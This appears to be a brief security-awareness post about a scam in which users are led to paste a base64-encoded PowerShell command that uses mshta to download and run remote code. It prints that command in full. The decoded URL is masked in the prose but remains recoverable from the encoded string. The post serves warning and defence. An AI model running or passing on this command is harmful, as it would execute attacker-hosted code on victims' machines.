"Beware of Hidden PowerShell Commands: Understanding the Latest mshta Scam"

 

Cybercriminals are constantly finding new ways to trick users into executing malicious code on their systems. One such method involves using PowerShell commands with base64-encoded content. Recently, a specific command has been identified that utilizes mshta to download and execute potentially harmful code from a remote server. Here’s what you need to know to protect yourself.

What is the Command?

The command looks like this:

powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHAAbwByAHQAMQAuAGIALQBjAGQAbgAuAG4AZQB0AC8AZwBlAGcAYQAiAA==

When decoded, this base64-encoded string reveals a command that uses mshta to access a potentially malicious website:

mshta "https://rep****.b-***.net/gega" 

What Does This Do?

mshta is a utility that can execute HTML applications (.hta) and JavaScript or VBScript code. In this case, it fetches and executes content from the given URL. This technique is commonly used in phishing and malware attacks to silently download and run malicious software on the victim's machine.

How to Protect Yourself

1. Be cautious of unexpected PowerShell commands: If you see suspicious commands, especially those with base64 encoding, they may be trying to hide malicious actions.
2. Use updated antivirus software: Ensure your security software is up to date to detect and block such threats.
3. Educate yourself and others: Awareness is key. Understanding these threats can help you avoid falling victim to them.

By being vigilant and informed about these tactics, you can protect yourself from these types of scams and keep your system secure.